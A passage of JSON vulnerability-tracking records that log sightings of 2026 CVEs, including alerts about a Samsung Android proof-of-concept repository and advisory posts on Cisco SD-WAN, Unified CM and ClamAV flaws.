Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-01 17:49:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoc for CVE-2026-20980, CVE-2026-20981, CVE-2026-20982\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-01T18:00:04.000000Z"}, {"uuid": "bfd6ebc0-bf70-4203-a2f5-bb750aac027f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20981", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/86872", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a samsung-android-lpe\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Vikramaditya015\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-01 17:49:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoc for CVE-2026-20980, CVE-2026-20981, CVE-2026-20982\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-01T18:00:04.000000Z"}, {"uuid": "8675d867-5973-42ed-be2d-b24b6e4de808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20432", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "d0e8fdb0-7ee9-40d8-ae96-48fd42f448a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mskw66h3xi2h", "content": "\ud83d\udfe0 CVE-2026-20339 - High (7.5)\n\nA vulnerability in the PESpin file format parser of ClamAV could allow an unauthenticated, remote...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20339/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-08T11:02:49.972965Z"}, {"uuid": "fd780e27-844a-4368-a238-4b4bd2e5e40e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "af52d4e6-6c6d-4178-8eab-0110776e7062", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20433", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "0fb79424-3942-4c9c-81b4-61a152b42fe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20435", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "660db330-c062-4b66-9024-355b89cdee96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20447", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "8c664e28-3008-4ded-817a-ad3126604dd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20448", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "494c18f4-85fc-4891-a401-0e3dd1477bcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20449", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "e290a873-60ba-4265-909c-950f8ec8edea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco-2", "content": "", "creation_timestamp": "2026-08-12T12:15:06.299993Z"}, {"uuid": "61b312f6-fdf2-46e6-8d49-f2094f14c780", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20450", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "530ffe17-69ef-4433-9f09-dfdde8758375", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20453", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "425e067c-c393-4af1-a88c-52a2b0a827cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20454", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "1e8b6f67-bc7c-469d-a83d-e26a3cbe8467", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20455", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/android-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "a41f505f-e7ac-461c-97f0-bee15cc24ea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msv4qpewct2i", "content": "\ud83d\udd17 CVE : CVE-2026-20349", "creation_timestamp": "2026-08-12T12:25:06.048361Z"}, {"uuid": "9d3c13ff-08e7-4bd8-84f4-745df2e42ce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "Telegram/o-1RdHDTTDzpR1d_7lEZ0NK_EmI3GWtJPujLHz_j4X2p5To", "content": "", "creation_timestamp": "2026-06-02T03:00:06.000000Z"}, {"uuid": "0c159b46-a7eb-4fdd-a304-6c5300440a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20980", "type": "seen", "source": "Telegram/GD9OAUHfPyxplt3Rwjv5bg_cLmc9tRTxKV9OtLqiI3DUulc", "content": "", "creation_timestamp": "2026-06-01T19:00:10.000000Z"}, {"uuid": "35dfff63-6db8-4b59-970d-b002d68de737", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20980", "type": "seen", "source": "Telegram/1dYzfg1XM2qRQo76_hZ2Pm0Eu0GE_AxaWJiFzUmqdHimB0E", "content": "", "creation_timestamp": "2026-06-01T21:00:04.000000Z"}, {"uuid": "ec406529-2b6d-4ff1-b974-def2785ef808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "Telegram/OS002dw6m1PPRnz6IRCgKzakOZaHgvXDyO1kIUDG8FnuVXM", "content": "", "creation_timestamp": "2026-05-28T09:00:04.000000Z"}, {"uuid": "c6c1e513-6287-4d9f-97e1-6f432fe59228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mndqwx7jas2u", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\nRelease Date\u3000May 14, 2026\n\nCVE-2026-20182 Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability", "creation_timestamp": "2026-06-02T23:32:38.703594Z"}, {"uuid": "b5c194fa-57d4-4ee9-b281-66e0524f01fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mnds35zuyk2u", "content": "\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001Cisco Catalyst SD-WAN\u306e\u8106\u5f31\u6027\u3092\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\u30ea\u30b9\u30c8\u306b\u8ffd\u52a0\u3057\u305f\u3002\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f  \u3001Cisco Catalyst SD-WAN\u306e\u8106\u5f31\u6027\uff08CVE-2026-20182\u3001CVSS\u30b9\u30b3\u30a210.0\uff09\u3092\u3001 \u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\nCisco\u306f\u3001Catalyst SD-WAN Controller\uff08vSmart\uff09\u304a\u3088\u3073Manager\uff08vManage\uff09\u306b\u304a\u3051\u308bSD-WAN\u5236\u5fa1\u63a5\u7d9a\u306e\u30cf\u30f3\u30c9\u30b7\u30a7\u30a4\u30af\u3068\u30d4...", "creation_timestamp": "2026-06-02T23:52:57.115084Z"}, {"uuid": "326a8927-56d2-4d40-bc67-67a4a65ae43d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mndsbggqvs2u", "content": "\u300cCisco Catalyst SD-WAN\u300d\u306b\u8106\u5f31\u6027\u3001\u60aa\u7528\u3082 - \u8a3c\u8de1\u4fdd\u5168\u3068\u4fb5\u5bb3\u8abf\u67fb\u3092\n\nCisco Systems\u304c\u63d0\u4f9b\u3059\u308b\u300cCisco Catalyst SD-WAN\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u3059\u3067\u306b\u60aa\u7528\u3082\u78ba\u8a8d\u3055\u308c\u3066\u3044\u308b\u3002\n\n\u7ba1\u7406\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306b\u8a8d\u8a3c\u56de\u907f\u306e\u8106\u5f31\u6027\u300cCVE-2026-20182\u300d\u304c\u5224\u660e\u3057\u305f\u3082\u306e\u3002\u300cCisco Catalyst SD-WAN Controller\uff08\u65e7SD-WAN vSmart\uff09\u300d\u304a\u3088\u3073\u300cCisco Catalyst SD-WAN Manager\uff08\u65e7SD-WAN vManage\uff09\u300d\u304c\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3002\n\n\u540c\u8106\u5f31\u6027\u306f\u3001\u300cCisco Catalyst SD-...", "creation_timestamp": "2026-06-02T23:56:23.912496Z"}, {"uuid": "f17c1a37-e92b-42bc-adfb-1022a4bd1d93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mndzeie2r22u", "content": "\u7c73\u5f53\u5c40\u3001\u300cCisco SD-WAN\u300d\u306e\u8106\u5f31\u6027\u60aa\u7528\u3067\u7dca\u6025\u5bfe\u5fdc\u3092\u8981\u8acb\n\n\u7c73\u5f53\u5c40\u306f\u3001\u300cCisco SD-WAN\u300d\u306e\u8106\u5f31\u6027\u3092\u6a19\u7684\u3068\u3057\u305f\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u304c\u767a\u751f\u3057\u3066\u3044\u308b\u3068\u3057\u3066\u7c73\u653f\u5e9c\u6a5f\u95a2\u306b\u5bfe\u3057\u3001\u4fb5\u5bb3\u8abf\u67fb\u3092\u542b\u3081\u305f\u7dca\u6025\u5bfe\u5fdc\u3092\u8981\u8acb\u3057\u305f\u3002\n\n\u653b\u6483\u306e\u6a19\u7684\u3068\u306a\u3063\u3066\u3044\u308b\u306e\u306f\u3001Cisco Systems\u306eSD-WAN\u88fd\u54c1\u300cCisco Catalyst SD-WAN Manager\uff08\u65e7SD-WAN vManage\uff09\u300d\u304a\u3088\u3073\u300cCisco Catalyst SD-WAN Controller\uff08\u65e7SD-WAN vSmart\uff09\u300d\u3002\n\n\u8a8d\u8a3c\u3092\u30d0\u30a4\u30d1\u30b9\u3067\u304d\u308b\u8106\u5f31\u6027\u300cCVE-2026-20182\u300d\u304c\u5224\u660e\u3002\u5171\u901a\u8106\u5f31\u6027\u8a55\u4fa1\u30b7\u30b9\u30c6\u30e0\u300cCVSS...", "creation_timestamp": "2026-06-03T02:03:24.562416Z"}, {"uuid": "d3e695cf-17c9-4c13-9a2f-fda526b8e5ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20455", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "49104db7-b80d-4bea-a549-173dda4f8b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20435", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "5e3e31bd-4a77-4898-99d7-b1e7e3d2c7bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20453", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "c6a615b7-466f-4259-ae1e-bbf7fbfdd76d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20454", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260603", "content": "", "creation_timestamp": "2026-06-02T20:00:00.000000Z"}, {"uuid": "44b19a91-71ba-47e7-accd-7922fcef9702", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20272", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3msla7p6vgs2z", "content": "CVE-2026-20272 is trending. Hype score 3, currently #8 on cvemon.\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XE Software engineering team has conducted a comprehensive internal security review.\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20272", "creation_timestamp": "2026-08-08T14:02:40.760738Z"}, {"uuid": "90cdafaa-a81c-40c8-b74d-a2caa5ffaa00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20267", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3msla7raf5c2z", "content": "CVE-2026-20267 is trending. Hype score 3, currently #9 on cvemon.\n\nAs part of Cisco's ongoing commitment to proactive security and product quality, the Cisco IOS XE Software engineering team has conducted a comprehensive internal security review.\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-20267", "creation_timestamp": "2026-08-08T14:02:41.987962Z"}, {"uuid": "61976b6f-4fdc-47a1-8ff1-73f767d82110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20455", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-9", "content": "", "creation_timestamp": "2026-06-03T06:13:35.000000Z"}, {"uuid": "161efe26-45ef-45a8-8ed4-39f10c169aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20453", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-9", "content": "", "creation_timestamp": "2026-06-03T06:13:35.000000Z"}, {"uuid": "f7b7a866-28f0-4544-b063-9a7524b78a42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20456", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-9", "content": "", "creation_timestamp": "2026-06-03T06:13:35.000000Z"}, {"uuid": "4c3730f4-fd5b-406a-ab4c-1057b1de244b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20452", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-9", "content": "", "creation_timestamp": "2026-06-03T06:13:35.000000Z"}, {"uuid": "f9464ce7-0fa9-4a53-97f6-d3ceca8e61c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20454", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-mediatek-9", "content": "", "creation_timestamp": "2026-06-03T06:13:35.000000Z"}, {"uuid": "4746fb81-de25-4866-aebb-56388ebab167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-547", "content": "", "creation_timestamp": "2026-06-03T12:22:10.000000Z"}, {"uuid": "e3e69360-49ae-4d61-b7db-d3be7fd7e917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mng7rwuf3i2c", "content": "CVE-2026-20230 - SSRF in Cisco Unified CM & Unified CM SME. Improper HTTP input validation. CVSS 8.6. Unpatched. No workaround available. Monitor for updates. #CVE #Cisco #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-20230/", "creation_timestamp": "2026-06-03T23:03:34.158889Z"}, {"uuid": "11c606f8-f920-46d3-9695-02c329752f31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mslae2k27x2n", "content": "CVE-2026-20337 - Memory corruption in ClamAV ZIP parsing, out-of-bounds write DoS. CVSS 7.5. Unpatched. Update or mitigate immediately. #CVE #Cisco #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-20337/", "creation_timestamp": "2026-08-08T14:02:58.435807Z"}, {"uuid": "6002d201-cbc9-4587-9ccb-3ff2dcd8fb8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mnhan2l7ls2n", "content": "Cisco released patches for CVE-2026-20230 in Unified CM and Unified CM SME, where improper HTTP input validation enables SSRF and potential root escalation.\n", "creation_timestamp": "2026-06-04T08:51:23.804102Z"}, {"uuid": "5e7617eb-cac8-4548-b6ee-275c0488d685", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mnhb5genbz23", "content": "Cisco Unified CM & SME face a CRITICAL SSRF flaw (CVE-2026-20230). Only systems with WebDialer enabled are at risk. Patch to 14SU6 ASAP \u2014 PoC is public, no live attacks yet. https://radar.offseq.com/threat/cisco-warns-of-available-poc-for-critical-unified--c947124b #OffSeq #Cisco #SecurityAlert", "creation_timestamp": "2026-06-04T09:00:33.661242Z"}, {"uuid": "2de60f3c-c759-4a27-9ade-b5b5ed15a650", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116691018083283672", "content": "\u26a0\ufe0f CRITICAL: Cisco Unified CM/SME hit by SSRF vuln (CVE-2026-20230). Unauthenticated remote attackers can write files & escalate to root if WebDialer is enabled. Patch to 14SU6 ASAP. PoC out, no active exploitation. https://radar.offseq.com/threat/cisco-warns-of-available-poc-for-critical-unified--c947124b #OffSeq #Cisco #SSRF #Vuln", "creation_timestamp": "2026-06-04T09:00:43.736581Z"}, {"uuid": "029b88fa-a1ea-474a-b464-0596bf10c059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1899", "content": "", "creation_timestamp": "2026-06-03T21:00:00.000000Z"}, {"uuid": "1540fae6-7014-4cbd-803f-8bb8dd7ace33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117060257580268133", "content": "CVE-2026-20337 - Memory corruption in ClamAV ZIP parsing, out-of-bounds write DoS. CVSS 7.5. Unpatched. Update or mitigate immediately. #CVE #Cisco #infosec\nhttps://www.valtersit.com/cve/CVE-2026-20337/", "creation_timestamp": "2026-08-08T14:03:05.056307Z"}, {"uuid": "74677dba-4642-42c5-8708-e0b18e9c3fda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://www.acn.gov.it/portale/w/cisco-cucm-disponibile-poc-per-lo-sfruttamento-di-vulnerabilita", "content": "Disponibile un Proof of Concept (PoC) per la CVE-2026-20230 \u2013 gi\u00e0 sanata dal vendor \u2013 presente in Cisco Unified Communications Manager (CUCM) e Cisco Unified CM Session Management Edition (CUCM SME), note soluzioni Cisco per la gestione delle comunicazioni VoIP aziendali. Tale vulnerabilit\u00e0, qualora sfruttata, potrebbe consentire ad un utente malintenzionato di scrivere file arbitrari sul filesystem dei sistemi interessati", "creation_timestamp": "2026-06-04T07:04:00.000000Z"}, {"uuid": "4bb2c30d-d047-443e-b926-438483e3f85e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20346", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117060495821023885", "content": "CVE-2026-20346 - ClamAV PDF parser memory corruption. Remote DoS via crafted PDFs. CVSS 7.5. Unpatched\u2014monitor updates. #CVE #Cisco #infosec\nhttps://www.valtersit.com/cve/CVE-2026-20346/", "creation_timestamp": "2026-08-08T15:03:35.154611Z"}, {"uuid": "e66c0d24-d6df-4caf-9398-17f1beb4aa98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mnhfdb677x2l", "content": "Cisco patched CVE-2026-20230 in Unified CM and Unified CM SME after PoC code surfaced. The flaw could enable SSRF via crafted HTTP requests and may lead to root access on affected systems. #Cisco #UnifiedCM #CVE202620230", "creation_timestamp": "2026-06-04T10:15:23.706928Z"}, {"uuid": "66b30a01-b4f7-4e6a-b475-cb8737b93c39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mnhg43zcy32h", "content": "CVE-2026-20230: Critical Cisco Unified CM SSRF Flaw Exposes Enterprises to Root-Level Takeover via Public Exploit Code +\u00a0Video\n\nBreaking Security Reality: A Hidden Door Inside Enterprise Voice Infrastructure A newly disclosed vulnerability in Cisco Unified Communications Manager (Unified CM) has\u2026", "creation_timestamp": "2026-06-04T10:29:17.638797Z"}, {"uuid": "24fbf84e-df9d-4cd2-a351-9f90749b2eb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mnhicayvz62k", "content": "CVE-2026-20230: Public PoC for Cisco Unified CM Vulnerability Risks Remote Root Access", "creation_timestamp": "2026-06-04T11:08:31.175249Z"}, {"uuid": "374e14f8-41a3-41cc-855a-d8e791863593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mnhpnko23r2d", "content": "\ud83d\udd17 CVE : CVE-2026-20230", "creation_timestamp": "2026-06-04T13:20:06.817392Z"}, {"uuid": "714049c5-130a-46c7-8f2d-b06dd9aa900c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mnhnpk4ruz2r", "content": "Cisco fixed CVE-2026-20230, a critical Unified CM flaw that could let remote attackers gain root via SSRF. Systems with WebDialer enabled are affected. Upgrade to 14SU6 or 15SU5. #Cisco #UnifiedCM #WebDialer", "creation_timestamp": 